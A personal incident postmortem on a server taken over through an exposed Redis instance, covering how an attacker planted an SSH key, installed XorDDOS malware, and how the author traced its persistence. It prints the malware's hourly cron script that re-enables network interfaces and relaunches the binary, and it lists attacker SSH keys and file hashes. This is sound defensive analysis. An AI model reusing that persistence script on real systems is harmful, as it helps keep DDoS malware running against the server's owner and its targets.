Postmortem: Server compromised due to publicly accessible Redis

Summary

My server was compromised through Redis and used as part of a DDOS.

Analysis

Background

I had previously played around with an app that used Redis, and installed Redis using both the package manager and direct download from redis.io. When I was done, I only remembered to uninstall the one from the package manager.

On 3 Nov 2015, Salvatore Sanfilippo, the creator of Redis, posted about how to gain access to a server running Redis. Here’s the important bit: out of the box, Redis accepts connections from anywhere and has no password. This makes it “basically an on-demand-write-this-file server,” which includes writing to .ssh/authorized_keys.

Problem

On 10 Nov 2015 at 12:50 PM and 23 Nov 2015 at 10:53 AM, an attacker connected to Redis and wrote their SSH public key to /root/.ssh/authorized_keys. We can watch this happen in the Redis logs:

[603] 10 Nov 12:50:17.435 * DB saved on disk
[603] 10 Nov 12:50:19.743 * DB saved on disk
[603] 10 Nov 12:50:21.568 * DB saved on disk

[...]

[603] 23 Nov 10:53:09.967 # User requested shutdown...
[603] 23 Nov 10:53:09.968 * Saving the final RDB snapshot before exiting.
[603] 23 Nov 10:53:09.973 * DB saved on disk
[603] 23 Nov 10:53:09.973 * Removing the pid file.
[603] 23 Nov 10:53:09.974 # Redis is now ready to exit, bye bye...

Here’s an example of an authorized_keys file created:

REDIS0006\0xfe\0x00\0x00\0x03abcA\0x93

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2S[...] root@iZ94tq5pdslZ


\0xff\0xf7n\0xd90\0xf3>\0xcc\0x93

After gaining access to the server, the attackers created /root/8ucx.1, which appears to be the “installer” for the malware. It creates executables in /boot/ with random filenames, and corresponding services in /etc/init.d/ to run those executables. It also adds a cronjob in /etc/cron.hourly/cron.sh which brings up all the interfaces every hour (in case you tried to stop the DDOS traffic with ifdown.)

At 5:26 AM, the malware began sending DDOS traffic.

At 5:36 AM, DigitalOcean disabled networking after my instance had sent at 2 Gbps for 10 minutes.

Investigation

I deployed my website to a fresh instance and pointed the DNS away from the bad machine.

The first thing I did was check htop for suspicious processes. Fortunately, they picked very suspicious names: .lz followed by a random number.

Unfortunately, their executable copies itself to /tmp/ before running. But they have to be launched somewhere, right? If I were a malware developer, I’d probably install a cron job or init script.

They didn’t add any new crontab entries, but they left some more files with very suspicious names in /etc/init.d/: pyqxacywjm and .zl (not pictured).

The executable in /boot/ is the same as the /root/8ucx.1 executable, and /etc/.zl is the same as the /tmp/ files running.

So we’ll just delete these files, kill the running process, and be done with it, right? Not so fast: several minutes after I deleted everything, the files in /boot/ came back under different names, and with corresponding init scripts. (For some reason, .zl wasn’t put back — maybe because I put another file in its place.)

I scrolled through the processes again, and found another suspicious thing: multithreaded pwd?!

Process names are not trustworthy, because applications can overwrite argv[0]. Fortunately, Linux puts a symlink to the original executable in /proc/$PID/exe. Following this symlink led to the executable in /boot/!

So it looks like the first instance of the malware changes its name to something innocuous like pwd, sh, or cat. The first instance launches another instance and acts as its watchdog — if someone tampers with the other instance, it recreates the files under a different name and starts it again.

One last problem: occasionally, I would see a bunch of suspicious commands run, including ifconfig, netstat, and route:

The process is parented to init, which means the real parent exited before htop could observe it. Fortunately, we have Brendan Gregg’s excellent perf-tools scripts. They wrap the Linux kernel debugging framework ftrace (similar to DTrace on Solaris and BSD).

I wanted to use execsnoop to show calls to exec(), but DigitalOcean disabled my instance’s network connection. Rather than type the program in like an animal, I found David Butler’s JS console one-liner that automates typing into DigitalOcean’s web VNC client:

(function () {
  var t = prompt("Enter text to be sent to console").split("");
  function f() {
    window.rfb.sendKey(t.shift().charCodeAt());
    if (t.length > 0) { setTimeout(f, 10); }
  }
  f();
})();

It doesn’t support any characters that require the shift key, so I encoded the script as hex, then wrote this Python script on the server to decode it:

import binascii
hex_string = open("execsnoop.hex", "r").read().strip()
print binascii.unhexlify(hex_string)

It took awhile for execsnoop to catch anything, but when it did, I felt like an idiot:

Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID   PPID ARGS
  4030   4025 gawk -v o=0 -v opt_name=0 -v name= -v opt_duration=0 [...]
  4031   4029 cat -v trace_pipe
[...]
  4095   4094 /bin/sh -c /etc/cron.hourly/cron.sh
  4096   4095 /etc/cron.hourly/cron.sh
  4100   4097 awk -F: {print $1}
  4099   4097 grep :
  4098   4097 cat /proc/net/dev
  4103   4096 cp /lib/udev/udev /lib/udev/debug
  4102   4096 ifconfig eth0 up
  4101   4096 ifconfig lo up
  4104   4096 /lib/udev/debug

They put the script in /etc/cron.hourly/, not a user’s crontab! In case you’re curious, here’s what it looks like:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

So if a sysadmin tries to stop the outgoing DDOS traffic with ifdown, it doesn’t matter because the interface will be turned on again the next hour! What assholes.

And to confirm that it’s actually being called by cron, I piped execsnoop into this Python script:

import os

while True:
  s = raw_input()
  if "sh -c" in s and ".hourly" in s:
    ppid = s.split()[1]
    os.system("ps -ocommand= -p " + ppid)
    # Output: "CRON"

Lessons Learned

• It’s important to know what’s installed! At a medium or large company, this documentation would probably take the form of a Puppet or Chef configuration, but I think I can get away with just writing things down.
• Install things through the package manager when possible. This makes it easier to uninstall the software cleanly.
• Follow security best practices even for “throwaway” setups: in this case, it means running Redis as an unprivileged user (no shell, limited filesystem access), binding it to localhost, and setting a password.
• Always look for software’s security recommendations. Sometimes they’re not on the “getting started” or “installation” page.
• VMs are cheap — don’t reuse them. VMs used for experiments should be deleted afterwards.
• DigitalOcean’s lack of custom kernel support makes it more difficult to install real rootkits.
• Disable root SSH even if password authentication is already disabled. Generally, disable everything that’s not expected to be used.

Appendix

VirusTotal links

After I cleaned the server, DigitalOcean turned on networking and I uploaded the files to VirusTotal. VirusTotal says this is XorDDOS.

Because the malware customizes its binaries, each installation is slightly different and the hashes won’t match.

• /boot/pyqxacywjm, /root/8ucx.1: 867a714b7371e9e83f42a93fc7a9951ebdec911729de421a6794323a9b6105a3
• /etc/.zl, /tmp/.lz[Random Number]: e1972306b0903af52d76c1b5732231f9f4274b4bc5ae1e36ab3dfff023ef20da

Attacker public keys

10 Nov 2015:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrZmvmtjOOLDxlK0nlwmCocl3gWdfr9D8A8IZwWLflAOmVxVfLIvqGAi/pI4xyI8zTz60zTd9DDDm0kxRFYxLkDLFpkNjuNQe0VyrWlbWVVnSze+f2pDNvZ3hF+kfNoe80PHKUYkUaaENseQ63ndBmC9mC4s1EVADhyVVSesq6QdMBf+XVOQG/ERQtZm7FdDnLSBjKLMHjzhXRqYinBxUzM8YQynL+ptKRLXyCltwY+e9aTpA7np44mStrtrYc5t9EaVpzCoIFGV9n+/nvbrP7asnr2lWcw1l11AdYLkYRLPIYrmnGxHddT+bClpaemIcO7xLRAoUdAkOqgQYibv69

23 Nov 2015:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2Sqatf2OeAV+kKChp0VpT4+c0yBY+54lSymDjoNYsraxLbcs5e92sPVXcjF2iiaDH23wNHlpYrcr+/8HPRcvPJOpI+WUjeKfowxj/TcQmdO2fs3zy54uqT5s0RiO4SwERyR63aoXmLflhaOoFcj4NNTRDCeZB2FMC8jWaTxmYCe9iAIgzlJjamjubzUP4WNOPnxj5wrSibhUgGiOkDTkXDY7yim9dOcxpAvTw24rFZS8SzJqJvW5YjPmAm/V6iQurnu1VSv5eoUC/f7eNARwpKx1E470V3b2oz2Znx4zyrttp/2HAXTI92QpRM/cai3QCNPJQlVKGDW651kuTopB root@iZ94tq5pdslZ

Other fun finds

The attackers were not very good at programming: one of their scripts kept crashing and printing this to the first virtual terminal.

At one point, an automated SSH cracker guessed harrypotter as a username. Also very revealing about our industry: they only bother trying male first names.